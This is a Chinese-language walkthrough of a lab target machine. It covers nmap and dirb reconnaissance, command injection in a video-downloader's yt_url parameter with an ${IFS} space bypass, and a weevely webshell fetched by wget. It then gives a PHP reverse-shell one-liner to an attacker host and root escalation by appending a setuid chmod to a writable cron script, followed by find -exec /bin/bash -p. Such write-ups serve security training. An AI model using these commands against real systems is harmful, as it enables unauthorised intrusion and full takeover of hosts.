信息收集
- 在kali的系统进入界面我们通过账号kali 登录机(账号密码均为kali),登录完成后我们通过终端命令来确认一下本机网络地址,
在命令行输入 ifconfig
192.168.66.129子网掩码是255.255.255.0,由此我们可以判断场景处于局域网192.168.66.0/24内部
- 接下来我们通过nmap命令工具来扫描一下局域网内部的其他设备,来确认一下是否存在靶机
sudo nmap -sn 192.168.66.0/24
- 除去场景内设置的路由器和网关地址,我们可以看到还存在一台192.168.66.139的设备,推测该地址是靶机地址,我们继续使用nmap工具对地址进行扫描 确认一下
nmap --min-rate 10000 -p- 192.168.66.
- 通过以上步骤得知系统暴露以上端口,但目前不清楚端口后对应的服务,继续使用nmap扫描执行一项
- 命令行执行nmap -sT -sC -sV -O -p80, ip
- 检测到目的地址开放80端口 。80端口通常在服务器上作为http web服务开放使用,考虑到80端口通常存在多个界面或目录,我们使用dirb工具对目录进行爆破
dirb http://192.168.66.
渗透分析
1 登录web界面发现是一款视频下载工具,使用burpsuite抓包发现请求路径是yt_url,尝试在请求参数中加载shell命令进行测试
使用ls -la查看有无隐藏文件发现无法请求
退出可能屏蔽了空格增加参数${IFS}
在kali使用weevely生成木马并开启http服务
weevely generate test ./shell.php
python3 -m http.server
在burpsuite将使用wget命令下载木马
在kali使用weevely连接获取初始权限
建立立足点
webshell通常权限受限比较大,这里执行php命令使用反弹shell
首先在kali界面监听1234端口
nc -lvnp 1234
在webshell执行
php -r '$sock=fsockopen("192.168.66.3",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
在kali 的反弹界面中使用find搜索拥有root权限的命令
find / -perm -u=s -type f 2>/dev/null
并没有root权限命令,只能尝试搜索目录下文件查看有无提权方式
这里在admin命令下找到一个flag,做一个初步的记录
其次可以发现两个脚本 一个是pspy64,一款检测进程工具 另外在tmp目录下找到clean.sh 可能是计划任务
这里首先使用pspy64 寻找clean执行历史发现
查看clean权限 发现当前用户有读写权限
在反弹shell中执行
echo "chmod u+s /usr/bin/find" >> clean.sh
给于find命令s权限进而使用find命令进行提权
find . -exec /bin/bash -p \;
提权
- 首先查看系统版本及内核版本
- 查看系统账号。
- 查看sudo权限
- 查看计划任务
- 查看允许运行的服务